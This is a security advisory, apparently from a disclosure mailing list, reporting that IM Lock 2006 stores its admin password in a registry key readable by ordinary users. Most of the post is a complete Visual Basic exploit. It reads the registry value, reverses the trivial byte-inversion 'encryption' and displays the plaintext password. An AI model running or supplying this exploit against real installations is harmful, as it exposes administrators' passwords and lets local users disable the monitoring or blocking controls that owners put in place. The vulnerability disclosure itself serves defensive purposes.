<<< Date Index >>>     <<< Thread Index >>>

IM Lock 2006 - Insecure Registry Permission Vulnerability



Application: IM Lock 2006
Vendor: www.comvigo.com
Corporation: Comvigo, Inc.
Version: Latest: (2 March 2006) - Home Edition, Enterprise & Professional
Description: IM Lock 2006 discloses passwords to local users.


Background:
===========
Security Auditing & Management software, IM Lock controls and blocks access to 
Instant Messaging and peer to peer services that waste time and that can infect 
computers with viruses. Blocks all popular services: MSN Messenger, Yahoo 
Messenger, 
ICQ, AIM, Skype, eMule, iTunes, ... We use several algorithms to detect and 
lock 
applications, working portion of IM Lock is virtually invisible to the computer 
user.


Vulnerability:
==============
Encrypted password is stored in the registry, this key is readable by 
non-privileged users 
on the system, so by decoding password, a malicious user could gain access of 
config panel.


Exploit:
========

' ############################################################################
' IM Lock 2006 - Local Password Encryption Weakness Exploit by fRoGGz
' Versions: Home Edition, Enterprise & Professional
' Application: IM Lock 2006
' Distributor : Comvigo, Inc.
' Link: http://www.comvigo.com
' Vulnerable Description: IM Lock 2006 discloses passwords to local users.
'
' Discovered & Coded by fRoGGz
' Credits to: SecuBox Labs - shadock.secubox.com
'
' ############################################################################

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As 
Long

Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" _
    (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
    
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias 
"RegQueryValueExA" _
    (ByVal hKey As Long, _
    ByVal lpValueName As String, _
    ByVal lpReserved As Long, _
    lpType As Long, _
    lpData As Any, _
    lpcbData As Long) As Long

Dim i As Integer
Dim GetCrypt, Decrypt As String

Public Function GrabBDR(hKey As Long, strPath As String, strValue As String) As 
String
    Dim keyhand As Long
    Dim lResult As Long
    Dim strBuf As String
    Dim lDataBufSize As Long
    Dim intZeroPos As Integer
    Dim sBuffer As String

    r = RegOpenKey(hKey, strPath, keyhand)
    lResult = RegQueryValueEx(keyhand, strValue, 0&, lValueType, ByVal 0&, 
lDataBufSize)

    If lValueType = 1 Then
        strBuf = String(lDataBufSize, " ")
            lResult = RegQueryValueEx(keyhand, strValue, 0&, 0&, ByVal strBuf, 
lDataBufSize)
            If lResult = ERROR_SUCCESS Then
                intZeroPos = InStr(strBuf, Chr$(0))
                If intZeroPos > 0 Then
                        GrabBDR = Left$(strBuf, intZeroPos - 1)
                End If
            End If
        lResult = RegCloseKey(hKey)
    End If
End Function

Private Sub Form_Load()
    GetCrypt = GrabBDR(&H80000002, "SOFTWARE\Microsoft\SvcHst\msnvs", "prc")
    If GetCrypt <> "" Then
        For i = 1 To Len(GetCrypt)
            Decrypt = Decrypt & Chr(255 - Asc(Mid(GetCrypt, i, 1)))
        Next
        MsgBox "ENCRYPT PASSWORD FOUND !" & vbCrLf & "YOUR PASSWORD IS: " & 
Decrypt, _
            vbOKOnly, "Secubox Labs - Recovery"
    Else
        MsgBox "NO ENCRYPT PASSWORD FOUND !", vbCritical, "IM LOCK INSTALLED ?"
    End If
    End
End Sub




CREDiTS:
========
fRoGGz - unsecure[at]writeme[dot]com
SecuBox Labs - secubox.shadock.net